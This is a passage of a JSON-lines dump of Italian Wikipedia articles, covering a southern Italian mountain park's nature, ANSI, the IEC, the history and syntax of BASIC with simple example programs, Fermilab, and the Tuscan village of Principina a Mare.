il pino nero, il tasso diverse specie di querce, castagni, ed alle quote pi\u00f9 elevate e sui pendii pi\u00f9 ripidi \u00e8 presente il pino loricato, specie rarissima, che si adatta agli habitat pi\u00f9 ostili, dove altre specie molto rustiche (il faggio \"in primis\") non sono in grado di sopravvivere.\nFioriture di Orchidee si osservano soprattutto in primavera, insieme a quelle di viole, genziane, campanule e, in estate, il raro giglio rosso, oltre a molte specie di piante officinali ed aromatiche, tra le quali la fanno da padrona le Labiatae, con molteplici specie di menta ed inoltre tutte le variet\u00e0 di timo, santoreggia, lavanda, issopo, le cui fioriture avvengono al culmine dell'estate.\nNon da meno sono da considerare le varie famiglie di frutti di bosco e di specie arboree selvatiche che producono frutti e bacche come le mele selvatiche, i vari \"Prunus\", le fragoline di bosco e i lamponi di cui sono disseminati i sentieri e le frequenti radure, laddove le condizioni climatiche e di soleggiamento ne consentono la fruttificazione.\nRiconoscimento UNESCO della faggeta vetusta di Cozzo Ferriero, la faggeta vetusta pi\u00f9 a Sud d'Europa. Vi vive un antico albero, un pino loricato (\"Pinus heldreichii\"), la cui et\u00e0 \u00e8 stata stimata al radiocarbonio in 1.230 anni da ricercatori dell\u2019universit\u00e0 della Tuscia, i quali l'hanno chiamato Italus.\nFauna.\nAnche la fauna \u00e8 varia, e comprende specie ormai estinte in altre zone montuose. Fra i mammiferi presenti nel parco si segnalano il lupo appenninico, il gatto selvatico, la volpe, il cinghiale, il capriolo autoctono di Orsomarso, la lontra, il tasso, lo scoiattolo nero meridionale, il driomio. &lt;br&gt;\nL'avifauna comprende l'aquila reale, l'avvoltoio capovaccaio, il falco pellegrino, il biancone, il falco lanario, il nibbio reale, il gufo reale, il gufo comune, il gracchio corallino, il corvo imperiale, il picchio nero e la rara coturnice. &lt;br&gt;\nTra i rettili presenti vi sono la biscia dal collare e la vipera. E ancora sono presenti l'ululone, la salamandra pezzata, la rosalia alpina, ecc...\nDi recente \"reintroduzione\" il cervo (nel 2002-03) e l'avvoltoio grifone (nel 2002).\nAttivit\u00e0.\nConsigliato a chi ama le passeggiate, il trekking e l'escursionismo in generale, grazie per\u00f2 alla variet\u00e0 dei paesaggi presenti in questa zona, vi si praticano diversi sport. Infatti \u00e8 meta, oltre che per gli amanti dell'alpinismo, degli appassionati del torrentismo, del rafting, del river tubing, dello sci di fondo, della speleologia e della mountain bike."}
{"id": "26375", "revid": "219110", "url": "https://it.wikipedia.org/wiki?curid=26375", "title": "American National Standards Institute", "text": "L'American National Standards Institute (\"Istituto Americano di Normalizzazione\", pi\u00f9 noto come ANSI, pronuncia IPA: ) \u00e8 un'organizzazione privata senza fini di lucro che definisce le norme industriali per gli Stati Uniti. \u00c8 membro dell'ISO (\"Organizzazione Internazionale per la normazione\") e dell'IEC (\"Commissione Elettrotecnica Internazionale\").\nStoria.\nL'ANSI \u00e8 stata fondata il 19 ottobre 1918 su iniziativa della \"American Society of Electrical Engineers\" (oggi IEEE), con l'accordo di altre associazioni professionali tra cui:\nFondata con il nome \"American Engineering Standards Committee\" (AESC), \u00e8 stata poi riorganizzata come \"American Standards Association\" nel 1928. Nel 1966 fu riorganizzata come \"United States of America Standards Institute\". Nel 1969 cambi\u00f2 il nome in \"American National Standards Institute\".\nLa prima normalizzazione pubblicata dall'allora AESC fu, nel 1920, una norma sulla filettatura dei tubi. Oggi, ad esempio, la norma ANSI B16 (in realt\u00e0 una famiglia di norme che coprono vari aspetti) \u00e8 utilizzata universalmente, e in modo esclusivo, nel campo petrolifero e petrolchimico per la definizione dei tubi e dei raccordi flangiati."}
{"id": "26376", "revid": "2080735", "url": "https://it.wikipedia.org/wiki?curid=26376", "title": "Commissione elettrotecnica internazionale", "text": " \nLa Commissione elettrotecnica internazionale (\"International Electrotechnical Commission\" in inglese, \"Commission electrotechnique internationale\" in francese), acronimo IEC (dal nome inglese), \u00e8 un'organizzazione internazionale per la definizione di standard in materia di elettricit\u00e0, elettronica e tecnologie correlate. Molti dei suoi standard sono definiti in collaborazione con l'ISO (\"Organizzazione internazionale per la normazione\"). Questa commissione \u00e8 formata da rappresentanti di enti di standardizzazione nazionali riconosciuti.\nDescrizione.\nLa IEC \u00e8 stata fondata nel 1906 ed inizialmente aveva sede a Londra; nel 1948 ha spostato la sua sede a Ginevra. Ad essa partecipano 89 Paesi.\nLa IEC ha il compito di sviluppare e distribuire gli standard per le unit\u00e0 di misura, in particolare il gauss, l'hertz e il weber.\nEssa inoltre fu la prima a proporre un sistema di standard, il Sistema Giorgi, che intorno al 1960 si \u00e8 modificato nel sistema delle unit\u00e0 SI.\nNel 1938 ha pubblicato un vocabolario internazionale finalizzato alla traduzione allo scopo di unificare la terminologia elettrica.\nQuesta attivit\u00e0 prosegue e l'International Electrotechnical Vocabulary rimane un'importante opera per le industrie elettriche ed elettroniche.\nGli standard della IEC sono identificati da numeri interi progressivi e il loro titolo ricalca la forma seguente: IEC 60411 Graphical Symbols.\nGli standard sviluppati congiuntamente con l'ISO utilizzano gli identificatori numerici dell'ISO ed hanno titoli di una forma come la seguente: ISO/IEC 7498-1:1994 Open Systems Interconnection: Basic Reference Model. Il comitato ISO/IEC Joint Technical Committee 1 (ISO/IEC JTC1) \u00e8 descritto pi\u00f9 dettagliatamente nella voce dedicata all'ISO.\nIl Comit\u00e9 international sp\u00e9cial des perturbations radio\u00e9lectriques (CISPR) \u00e8 uno dei gruppi fondati dalla IEC.\nMembri.\nTra i membri vi sono:\nLa simbologia grafica abbinata ai dispositivi elettronici, definita da questa commissione, per molti produttori \u00e8 stata recepita in ritardo; in particolare gli statunitensi per molti anni continuarono ad adottare la simbologia scelta alla nascita dei circuiti integrati. Pertanto la simbologia di questi dispositivi (soprattutto logici), riportati negli schemi elettrici dei circuiti, poteva differire tra un costruttore europeo ed uno statunitense: ad esempio, il costruttore Philips nei suoi datasheet, insieme al diagramma di connessione riportante l'assegnazione dei pin del dispositivo, riportava entrambe le simbologie logiche, la vecchia e la IEC. National Semiconductor, come altri produttori primari di dispositivi logici integrati, nei loro datasheet riporta, insieme allo storico simbolo logico funzionale, quello successivo, denominato IEEE/IEC."}
{"id": "26379", "revid": "599013", "url": "https://it.wikipedia.org/wiki?curid=26379", "title": "Iec", "text": ""}
{"id": "26380", "revid": "12222", "url": "https://it.wikipedia.org/wiki?curid=26380", "title": "BASIC", "text": "Il BASIC \u00e8 un linguaggio di programmazione ad alto livello sviluppato nel 1964 presso il Dartmouth College sul calcolatore GE-225 dai professori John George Kemeny e Thomas Eugene Kurtz.\nLa parola \u00e8 l'acronimo della frase in lingua inglese \"Beginner's All-purpose Symbolic Instruction Code\" ovvero - in italiano - \"codice simbolico di istruzioni adatto a ogni esigenza dei principianti\". L'acronimo corrisponde anche all\u2019aggettivo inglese \"basic\" (\u00absemplice\u00bb,\u00abfondamentale\u00bb). Il primo programma in questo linguaggio venne eseguito il 1\u00ba maggio 1964 alle ore 4:00 a.m.\nStoria.\nIl contesto storico e il Dartmouth BASIC.\nFino agli anni sessanta i computer erano ingombranti, estremamente costosi e difficili da programmare. Erano acquistati da industrie, istituti governativi o universit\u00e0. Data la loro scarsa potenza elaborativa, i linguaggi di programmazione erano orientati alla massima efficienza sacrificando la facilit\u00e0 di scrittura del codice e la sua leggibilit\u00e0. Questi fattori, uniti alla difficolt\u00e0 di poter accedere ad un computer, relegavano l'uso di queste macchine a poche persone e per particolari compiti. Nel 1959 il Dartmouth College acquist\u00f2 un proprio computer, un LGP-30, affidato al reparto informatico sotto la direzione di Kurtz.\nGli utenti non potevano avere un accesso libero alla macchina, ma dovevano inserire i loro programmi nel sistema che li eseguiva poi nell'ordine in cui li aveva ricevuti. Dall'inserimento all'ottenimento dei risultati poteva quindi passare un discreto lasso di tempo (ore ma anche giorni). Per ovviare a questo problema Kemeny e Kurtz iniziarono a sviluppare un sistema di timesharing per poter consentire l'accesso a pi\u00f9 utenti contemporaneamente e l'esecuzione di pi\u00f9 programmi simultaneamente. Per permettere ci\u00f2 l'universit\u00e0 acquist\u00f2 anche un nuovo computer, un GE-235, e 30 terminali GE Datanet-30 che furono dislocati in vari ambienti di Dartmouth grazie ai quali gli studenti potevano inserire i loro programmi nell'unit\u00e0 centrale in modo rapido e semplificato. Il sistema supportava inizialmente anche altri linguaggi come il FORTRAN e l'ALGOL, ma Kurtz e Kemeny studiarono un altro linguaggio che fosse pi\u00f9 semplice da imparare e di uso generale, sviluppando cos\u00ec il \"BASIC\".\nNegli anni seguenti, con il nascere di diverse versioni del linguaggio, il BASIC sviluppato originariamente da Kemeny e Kurtz fu indicato come Dartmouth BASIC.\nL'avvento degli \"home computer\" e l'Altair BASIC.\nNonostante il linguaggio fosse gi\u00e0 usato su diversi minicomputer, la sua diffusione era limitata dall'elevato costo dei computer che li rendeva oggetti da professionisti. La situazione cambi\u00f2 con la presentazione del MITS Altair 8800 (un computer venduto in scatola di montaggio) all'inizio del 1975: i 439$ necessari per acquistarlo erano un prezzo alla portata di molti, tanto che ad agosto di quell'anno MITS ne aveva gi\u00e0 venduti 5.000.\nLa diffusione del computer fece crescere la richiesta di un linguaggio di programmazione alla portata di molti. Il BASIC, grazie all'opera di divulgazione che avevano condotto i suoi autori negli anni passati, si era ritagliato un posto su diverse riviste del settore, dove i lettori pubblicavano i propri listati. Inoltre molti linguaggi dell'epoca richiedevano un editor per la scrittura del codice, grandi quantitativi di memoria per l'interprete e sistemi di memorizzazione quali floppy disk per i programmi. Il BASIC richiedeva piccoli quantitativi di memoria, aveva un editor integrato per la scrittura del codice e semplici istruzioni, risultando quindi adatto a macchine con limitate risorse quali l'Altair 8800.\nUno dei primi dialetti BASIC ad apparire per i computer basati sull'Intel 8080, una delle prime CPU in circolazione, come l'Altair 8800, fu il Tiny BASIC, scritto da Dennis Allison su richiesta di Bob Albrecht, un membro dell'Homebrew Computer Club che successivamente avrebbe fondato la rivista \"Dr. Dobb's Journal\", su cui apparve il codice sorgente completo del Tiny BASIC nel 1976. Fu per\u00f2 con l'introduzione dell'Altair BASIC nel 1975, un interprete che risiedeva in soli 4 kB di memoria scritto da Bill Gates e Paul Allen, che questo linguaggio inizi\u00f2 a diffondersi in maniera marcata, grazie anche alle numerose copie pirata del software, circa il 90% di quelle in circolazione.\nDistribuito inizialmente solo per l'Altair 8800, l'Altair BASIC fu, in seguito alla rescissione del contratto di esclusiva con MITS, commercializzato come Microsoft BASIC dalla Microsoft, una societ\u00e0 fondata da Gates ed Allen nel 1975, anche per altre piattaforme hardware. Del Microsoft BASIC fu distribuita anche una versione denominata MBASIC per il sistema operativo CP/M, uno dei pi\u00f9 diffusi dell'epoca. Grazie alla popolarit\u00e0 di questo sistema, usato su macchine di successo quali l'Osborne 1, anche la popolarit\u00e0 del Microsoft BASIC crebbe e Microsoft inizi\u00f2 a distribuire sempre pi\u00f9 versioni del suo interprete.\nNel 1977 furono presentati tre importanti home computer per i quali i loro costruttori scelsero come linguaggio integrato nel firmware il BASIC. Essi erano il Commodore PET, l'Apple II e il Radio Shack TRS-80: il primo contiene una versione adattata al MOS 6502 del Microsoft BASIC; il secondo integra l'Applesoft BASIC, successore dell'Integer BASIC e sviluppato con Microsoft; il terzo offre, a seconda dei modelli, un BASIC derivato dal Tiny BASIC oppure un interprete derivato dall'Altair Extended BASIC, una versione con pi\u00f9 funzionalit\u00e0 dell'Altair BASIC di Microsoft. Questi BASIC sono molto simili dato che i primi 50 token, usati per memorizzare i comandi in una forma salvaspazio, sono gli stessi. Altre societ\u00e0 che entrarono nel mercato degli home computer svilupparono la propria versione del BASIC: Atari per i suoi computer a 8 bit svilupp\u00f2 l'Atari BASIC, una versione studiata per risiedere in una cartuccia da 8 kB. BBC pubblic\u00f2 il BBC BASIC, sviluppato da Acorn Computers, che integra molte istruzioni aggiuntive. Molti home computer degli anni ottanta hanno il BASIC residente nella ROM che viene eseguito direttamente all'avvio della macchina.\nCon il crescere della sua popolarit\u00e0 molte riviste iniziarono a pubblicare listati di programmi in BASIC che gli utenti potevano riscrivere a casa sui propri computer, come \"Commodore Computer Club\", dedicata ai modelli Commodore, o \"Sinclair Computer\", per quelli Sinclair. Furono editi anche libri di listati in Microsoft BASIC, essendo questo dialetto il pi\u00f9 diffuso e quindi il pi\u00f9 adattabile da una macchina all'altra. Alcuni famosi libri di listati sono quelli pubblicati da David Ahl: \"BASIC Computer Games\", \"More BASIC Computer Games\" e \"Big Computer Games\". Microsoft realizz\u00f2 anche l'AmigaBASIC per i computer Commodore della serie Amiga, una versione del linguaggio che supporta l'interfaccia grafica di quelle macchine.\nL'era dei \"personal computer\".\nNel 1981 IBM present\u00f2 il PC IBM 5150; il sistema operativo era stato realizzato da Microsoft, che forn\u00ec anche diversi interpreti BASIC: IBM Cassette BASIC (BASIC C), residente in ROM, cos\u00ec detto perch\u00e9 capace di supportare le operazioni di lettura/scrittura su nastri magnetici; IBM Disk BASIC (BASIC D), che supportava invece le unit\u00e0 a dischi; IBM BASICA, o \"Advanced BASIC\", evoluzione del BASIC D; GW-BASIC, compatibile con il BASICA ma che non richiedeva il BIOS originale IBM per poter funzionare; QuickBASIC, una versione derivata dal GW-BASIC, che non richiedeva i numeri di riga, integrava una IDE di sviluppo e poteva compilare i programmi; QBasic, derivato dal QuickBASIC ma senza compilatore. Anche altre societ\u00e0 produssero delle versioni del BASIC per i PC IBM. Una di esse fu Borland, famosa per il suo Turbo Pascal, che pubblic\u00f2 il Turbo Basic come versione compilata del linguaggio (il suo autore pubblica ancora il Turbo Basic sotto il nome di PowerBASIC).\nQuesti linguaggi introducevano molte estensioni ai BASIC sviluppati per gli home computer, come il supporto per la grafica, la manipolazione delle stringhe migliorata, nuovi tipi di dati, supporto per le unit\u00e0 a dischi e, soprattutto, i costrutti per la programmazione strutturata, come il supporto alle variabili locali e le strutture di controllo. Le nuove capacit\u00e0 grafiche di questi linguaggi aprirono la strada alla creazione dei videogiochi per PC. Uno dei primi in tal senso si pu\u00f2 considerare \"Donkey\" (noto anche come DONKEY.BAS dal nome del file), un simulatore di guida scritto da Neil Konzen, un dipendente Microsoft, e Bill Gates per mostrare ci\u00f2 che il linguaggio ed un PC potevano fare.\nCon il continuo aumento della diffusione dei PC crebbero anche i programmi offerti da altri per cui gli utenti lentamente passarono dallo stato di amatori che si autoscrivevano il software di cui avevano necessit\u00e0 a quello di utilizzatori di applicazioni reperibili normalmente in commercio. Con il diminuire dell'interesse degli utenti nella programmazione diminu\u00ec anche l'uso dei linguaggi di programmazione: a questa tendenza non sfugg\u00ec neanche il BASIC, la cui diffusione inizi\u00f2 a calare nonostante le numerose versioni in circolazione.\nDalla fine del XX secolo ad oggi.\nIl BASIC torn\u00f2 in auge all'inizio degli anni novanta quando Microsoft present\u00f2 il Visual Basic nel 1991, anche se questo linguaggio si discostava molto dal BASIC originale, essendo pi\u00f9 orientato agli oggetti ed alla programmazione ad eventi: l'unico punto di contatto con il BASIC originario era la sintassi simile, che non definisce pi\u00f9 il linguaggio stesso dato che una parte dello sviluppo di un'applicazione viene eseguita con la tecnica del drag and drop, ossia il trascinamento dei widget che andranno a comporre l'interfaccia grafica direttamente sulla finestra dell'applicazione. Il codice serve solo a gestire gli eventi generati ad esempio dalla pressione di un pulsante grafico e non pi\u00f9 a scrivere il gestore stesso di tale evento, preimpostato nell'ambiente di sviluppo.\nNonostante il Visual Basic possa essere considerato come una evoluzione del linguaggio, rimangono pochi dei segni distintivi del primo Dartmouth BASIC, come la numerazione delle righe, adesso opzionale. Ed anche se indicato dal suo stesso nome come un linguaggio per \"principianti\", il Visual Basic permetteva la scrittura di applicativi anche complessi, come programmi per l'ufficio e piccoli giochi, che non risentivano della lentezza derivante dall'essere un linguaggio interpretato, dato che i computer che potevano eseguire i sistemi Windows 3.1/95 su cui giravano le prime versioni del Visual Basic erano sufficientemente potenti per eseguire anche programmi con una maggiore richiesta di risorse.\nNel corso degli anni sono comparsi diversi dialetti BASIC, tra cui il True BASIC, il diretto discendente del Dartmouth BASIC pubblicato da una societ\u00e0 fondata dallo stesso Kurtz, il REALbasic, un linguaggio multipiattaforma che pu\u00f2 compilare eseguibili per macOS, Windows e Linux, Gambas, un dialetto del BASIC opensource per Linux molto simile al Visual Basic con una IDE che ricalca quella di quest'ultimo, il FreeBASIC, un progetto opensource compatibile con il QuickBASIC ma che introduce anche nuove funzionalit\u00e0 proprie.\nDescrizione.\nIl BASIC, almeno nelle versioni di Kemeny e Kurtz che costituiscono il cosiddetto \"Dartmouth BASIC\", fu progettato per essere un linguaggio semplice da imparare. Per questo si differenzi\u00f2 dalla maggior parte dei linguaggi suoi coetanei enfatizzando la semplicit\u00e0 d'uso piuttosto che la potenza espressiva. Nacque infatti, come dice il suo nome, per poter essere usato anche da principianti (il 75% degli studenti dell'Universit\u00e0 di Dartmouth era iscritto a facolt\u00e0 umanistiche). Le istruzioni erano poche e non complesse. Il BASIC offriva inoltre (non per scelta degli autori, ma solo perch\u00e9 era figlio del suo tempo) pochi costrutti strutturati, quindi orientati alla creazione di programmi chiari e comprensibili. Fu pensato inoltre come un linguaggio algoritmico, adatto cio\u00e8 a programmare algoritmi. Fu anche progettato per essere un linguaggio facilmente trasportabile su calcolatori diversi dal GE-225 su cui giravano le prime versioni. Concepito e realizzato originariamente come linguaggio compilato, molte delle sue versioni pi\u00f9 note fanno tuttavia uso di interpreti.\nUna delle pi\u00f9 famose versioni \u00e8 il Microsoft BASIC, sviluppato da Bill Gates, Monte Davidoff e Paul Allen come Altair BASIC per l'Altair 8800, poi evolutasi nel GW-BASIC per il primo MS-DOS. I microcomputer e gli home computer degli anni settanta ed ottanta, come l'Apple II, gli ZX80/ZX81/ZX Spectrum, i famosi VIC-20 e C-64, gli MSX, integravano nel loro firmware un interprete BASIC.\nProgrammi usati.\nIn ambiente Microsoft Windows per programmare in linguaggio BASIC \u00e8 molto usato REALbasic che cerca di rispecchiare il pi\u00f9 possibile la controparte di Microsoft.\nIn ambiente GNU/Linux \u00e8 senza ombra di dubbio il software open source Gambas il migliore per programmare in BASIC. Permette inoltre di sviluppare l'interfaccia di un programma sia utilizzando le GTK, quindi programmi integrati perfettamente nel desktop manager GNOME sia utilizzando le Qt perfette per l'integrazione in KDE. Il programma \u00e8 distribuito sotto licenza GNU ed \u00e8 completamente gratuito. Nel 2007 \u00e8 nato QB64, un compilatore retrocompatibile col QuickBASIC che aggiunge le pi\u00f9 moderne funzionalit\u00e0.\nEsempi di codice.\nHello world.\nIl seguente esempio stampa il famoso testo \"Hello world\", uno dei pi\u00f9 semplici programmi che chi impara un nuovo linguaggio di programmazione, generalmente scrive come primo passo verso il suo apprendimento:\n1 PRINT \"Hello World\"\n2 END\nBASIC non strutturati.\nIl seguente \u00e8 un esempio di un programma in BASIC scritto senza l'utilizzo dei costrutti della programmazione strutturata. Il linguaggio utilizzato \u00e8 il GW-BASIC, ma il codice si pu\u00f2 convertire anche per altri dialetti con minime modifiche:\n1 INPUT \"Come ti chiami: \", U$\n2 PRINT \"Ciao \"; U$\n3 INPUT \"Quante stelle vuoi: \", N\n4 S$ = \"\"\n5 FOR I = 1 TO N\n6 S$ = S$ + \"*\"\n7 NEXT I\n8 PRINT S$\n9 INPUT \"Vuoi altre stelle? \", A$\n10 IF LEN(A$) = 0 THEN GOTO 9\n11 A$ = LEFT$(A$, 1)\n12 IF A$ = \"S\" OR A$ = \"s\" THEN GOTO 3\n13 PRINT \"Arrivederci \"; U$\n14 END\nBASIC strutturati.\nI BASIC di seconda generazione, come il QuickBASIC e il PowerBASIC, introdussero una serie di nuove caratteristiche nel linguaggio, primo fra tutti il supporto alla programmazione strutturata ed orientata alle procedure: i numeri di riga erano omessi e rimpiazzati dalle \"etichette\", dei segnalibri usati dalle istruzioni codice_1 per i salti, e le funzioni e le subroutine sostituite dalle procedure, porzioni di codice richiamabili da altri punti del programma.\nINPUT \"Come ti chiami: \", UserName$\nPRINT \"Ciao \"; UserName$\nDO\n INPUT \"Quante stelle vuoi: \", NumStars\n Stars$ = STRING$(NumStars, \"*\") \n PRINT Stars$\n DO\n INPUT \"Vuoi altre stelle? \", Answer$\n LOOP UNTIL Answer$ &lt;&gt; \"\"\n Answer$ = LEFT$(Answer$, 1)\nLOOP WHILE UCASE$(Answer$) = \"S\"\nPRINT \"Arrivederci \"; UserName$\nBASIC orientati agli oggetti.\nLa terza generazione di dialetti BASIC, come il Visual Basic (di cui \u00e8 anche disponibile la versione Smallbasic per i principianti), il REALbasic, l'OpenOffice.org Basic e Gambas, ha introdotto il supporto alla programmazione orientata agli oggetti ed il paradigma della programmazione ad eventi. Molte procedure e funzioni precostituite sono adesso rappresentate da \"metodi\" degli oggetti standard piuttosto che da \"operatori\".\nL'esempio seguente \u00e8 scritto in Gambas:\nPUBLIC SUB Form_Open()\n TextBox1.Clear\nEND\nPUBLIC SUB Button1_Click()\nDIM NumStars, Name AS String\nDIM Flag AS Boolean\nDIM Stars AS Integer\n IF TextBox1.Text &lt;&gt; \"\" THEN \n Name = TextBox1.Text\n Message.Info(\"Ciao \" &amp; TextBox1.Text)\n Flag = TRUE\n WHILE Flag\n NumStars = InputBox(\"Quante stelle vuoi?\")\n Stars = CInt(NumStars)\n IF Stars &gt; 0 THEN \n Message.Info(String$(Stars, \"*\"))\n ELSE \n Flag = FALSE\n ENDIF \n WEND \n ENDIF \nEND\nVariabili ed array.\nIl Dartmouth BASIC supportava nomi di Variabili lunghi 1 sola lettera, eventualmente seguita da una sola cifra numerica. Nomi validi erano perci\u00f2 A e A1 ma non AA. Altri dialetti, come l'Altair BASIC 4K consideravano solo i primi 2 caratteri del nome per cui VARIABILE1, VARIABILE2 e VA facevano riferimento alla stessa variabile.\nI primi dialetti del BASIC non supportavano tutti i tipi di dati. Ad esempio, il Dartmouth BASIC e l'Altair BASIC supportavano sia i numeri interi che in virgola mobile, mentre l'Integer BASIC, il primo BASIC offerto con i computer Apple I e Apple II, supportava solo i numeri interi.\nLe stringhe sono indicate con il suffisso \"$\" posto dopo il nome della variabile e sono racchiuse all'interno di una coppia di virgolette.\nGli array possono contenere numeri interi, in virgola mobile o stringhe ed avere pi\u00f9 dimensioni.\nIl seguente esempio crea una variabile stringa ed un array di 10 elementi (l'indice parte da 0). Per accedere poi all'elemento \"n\" usiamo la notazione codice_2.\n10 LET A$=\"\"\n20 DIM A(9)\n30 A(2)=1\n40 PRINT A(2)\n50 END\nSi possono usare variabili a doppio indice:\n10 DIM A(10,10)\n20 A(1,2)=20\n30 PRINT A(1,2)\nElenco di comuni parole chiave del BASIC.\nL'elenco che segue riporta alcune comuni parole chiave utilizzate nel BASIC:\nVarianti.\nDartmouth BASIC.\nIl Dartmouth BASIC nacque come linguaggio compilato. Era basato su elementi ripresi dall'Algol-6 e dal FORTRAN II con nuove aggiunte scritte per favorire la programmazione da parte dei nuovi utenti del sistema di timesharing, utenti iscritti a facolt\u00e0 non matematiche con limitate conoscenze di programmazione.\nIl Dartmouth BASIC fu scritto seguendo alcuni principi:\nKemeny e Kurtz non registrarono il linguaggio distribuendolo liberamente ma lo presentarono anche ad altri istituti scolastici favorendone la conoscenza. In questo modo il BASIC si diffuse rapidamente finendo per essere adottato da diversi costruttori di minicomputer quali la serie PDP di DEC ed il Nova di Data General. Il Dartmouth BASIC fu usato anche nell'HP Time-Shared BASIC, venduto tra la fine degli anni sessanta e l'inizio degli anni settanta, e nel sistema operativo Pick: questi ultimi utilizzi usavano una versione interpretata del linguaggio.\nAlcuni anni dopo la sua diffusione, il Dartmouth BASIC fu oggetto di pesanti attacchi da parte di alcuni programmatori, in special modo Edsger Dijkstra, che esprimevano una dura presa di posizione contro l'utilizzo incondizionato delle istruzioni di salto del linguaggio, colpevoli di portare alla scrittura di codice illeggibile e di bassa qualit\u00e0. La lettera non menzionava nessun linguaggio ma era chiaro il riferimento al Dartmouth BASIC, che del GOTO, non avendo costrutti di programmazione strutturata, faceva un abbondante uso.\nIn un altro suo scritto del 1975 Dijkstra puntava nuovamente il dito contro l'uso del GOTO citando per\u00f2 esplicitamente il linguaggio BASIC.\nQuello che segue \u00e8 un esempio di Dartmouth BASIC preso dal manuale di riferimento redatto nel 1964 che risolve 2 equazioni lineari a 2 incognite:\n10 READ A1, A2, A3, A4\n15 LET D = A1 * A4 - A3 * A2\n20 IF D = 0 THEN 65\n30 READ B1, B2\n37 LET X1 = (B1 * A4 - B2 * A2)\n42 LET X2 = (A1 * B2 - A3 * B1) / D\n55 PRINT X1, X2\n60 GO TO 30\n65 PRINT \"NO UNIQUE SOLUTION\"\n70 DATA 1, 2, 4\n80 DATA 2, -7, 5\n85 DATA 1, 3, 4, -7\n90 END"}
{"id": "26386", "revid": "599013", "url": "https://it.wikipedia.org/wiki?curid=26386", "title": "Plc", "text": ""}
{"id": "26389", "revid": "1324679", "url": "https://it.wikipedia.org/wiki?curid=26389", "title": "Fermilab", "text": "Il Fermilab (anche noto come FNAL, acronimo di \"Fermi National Accelerator Laboratory\"), \u00e8 un laboratorio di ricerca dedicato allo studio della fisica delle particelle elementari situato a Batavia, a una trentina di miglia a ovest di Chicago, che deve il nome al celebre fisico italiano Enrico Fermi.\nDescrizione.\nIl laboratorio \u00e8 stato creato nel 1967 con il nome \"National Accelerator Laboratory\", nel 1974 \u00e8 stato rinominato in onore di Enrico Fermi. Per anni il Fermilab ha ospitato il Tevatron, un acceleratore protone-antiprotone rimasto attivo fino al 2011. Il Tevatron, che aveva una circonferenza di 6,3 km, \u00e8 stato fino al 2010 l'acceleratore in grado di produrre collisioni all'energia nel centro di massa pi\u00f9 elevata nel mondo (E=1,96 TeV). Le collisioni venivano rivelate ed analizzate da due esperimenti: CDF e D\u00d8. \nTra le scoperte fondamentali nate da esperimenti avvenuti al Fermilab si possono citare la scoperta del quark bottom (o beauty) nel 1977 e la scoperta del quark top, annunciata nel 1995 dagli esperimenti CDF e D\u00d8. Il limite di energia \u00e8 stato superato dall'LHC al CERN di Ginevra, un collider protone-protone, dove nel 2010 sono stati raggiunti i 7 TeV nel centro di massa.\nAl Fermilab vengono effettuati esperimenti a bersaglio fisso ed esperimenti per lo studio dei neutrini, fra cui MicroBooNE (Micro Booster Neutrino Experiment) e NO\u03bdA (\"NuMI Off-Axis \u03bde Appearance\"). Fra gli esperimenti sui neutrini gi\u00e0 conclusi ci sono MINOS (Main Injector Neutrino Oscillation Search), MiniBooNE e SciBooNE (SciBar Booster Neutrino Experiment). Fermilab ospita anche LBNF (Long-Baseline Neutrino Facility), parte del futuro esperimento DUNE (Deep Underground Neutrino Experiment), i cui rivelatori dei neutrini prodotti al Fermilab sono situati a 1.300 km di distanza, alla Sanford Underground Research Facility, una ex miniera d'oro a Lead, South Dakota.\nOltre a condurre studi sulle particelle elementari, Fermilab ospita centri di ricerca avanzata anche in altri campi, quali il SQMS (Superconducting Quantum Materials and Systems), diretto da Anna Grassellino."}
{"id": "26398", "revid": "404449", "url": "https://it.wikipedia.org/wiki?curid=26398", "title": "Principina a Mare", "text": "Principina a Mare \u00e8 una frazione del comune italiano di Grosseto, in Toscana.\nGeografia fisica.\nIl litorale a sud di Principina a Mare si caratterizza per le classiche spiagge selvagge maremmane, che si addentrano in territori ancora paludosi verso l'Ombrone. Questa zona, denominata \"Padule della Trappola\", \u00e8 ideale per il birdwatching, dato l'elevato numero di uccelli palustri che giungono a svernare in questa area; recentemente \u00e8 stato aperto l'itinerario P1, che attraversa parte dell'area situata all'interno dei confini del Parco naturale della Maremma.\nNel periodo da maggio a giugno, quest'area \u00e8 soggetto a sciami di minuscoli insetti del genere \"Leptoconops\" chiamati localmente serafiche, che pungono uomini e animali e sono in grado di scatenare violente reazioni allergiche.\nMonumenti e luoghi d'interesse.\nTra i monumenti \u00e8 da segnalare la torre della Trappola, antica fortificazione medievale adibita a punto di raccolta di sale nei secoli successivi, per la vicinanza ad alcune saline oramai scomparse. Non lontano, sorge anche la cappella di Santa Maria alla Trappola, mentre la cappella delle Strillaie sorge al di fuori dell'area palustre, all'interno di un podere situato nei pressi della strada della Trappola, in prossimit\u00e0 dell'incrocio per Principina a Mare. Della vasta tenuta della Trappola, di propriet\u00e0 della famiglia Ponticelli, facevano parte alcune storiche fattorie, tra cui si ricordano la fattoria di San Carlo, la fattoria di San Mamiliano e la fattoria della Voltina.\nNella frazione si trova la moderna chiesa di Santa Teresa di Lisieux, edificata nel 1968 su progetto dell'ingegnere Leone Feroci e appartenente alla parrocchia di Marina di Grosseto.\nSociet\u00e0.\nEvoluzione demografica.\nQuella che segue \u00e8 l'evoluzione demografica della frazione di Principina a Mare.\nEconomia.\nTurismo.\nIl centro, poco popolato in inverno, \u00e8 costituito prevalentemente da case di villeggianti, hotel di alta categoria e un campeggio di categoria media. Tuttavia, la localit\u00e0 \u00e8 piuttosto frequentata per la vicinanza della foce del fiume Ombrone e del Parco naturale della Maremma.\nIl maggior numero di presenze turistiche viene registrato nei mesi di luglio e agosto, con picchi massimi nelle settimane prossime al Ferragosto. Il flusso turistico prevalente proviene da regioni settentrionali, quali Lombardia e Veneto, oltre che dalla Toscana centro-orientale; rilevante \u00e8 la presenza di turisti stranieri, provenienti soprattutto da Paesi Bassi, Austria, Germania e Svizzera, che per\u00f2 scelgono maggiormente i mesi di giugno e settembre."}
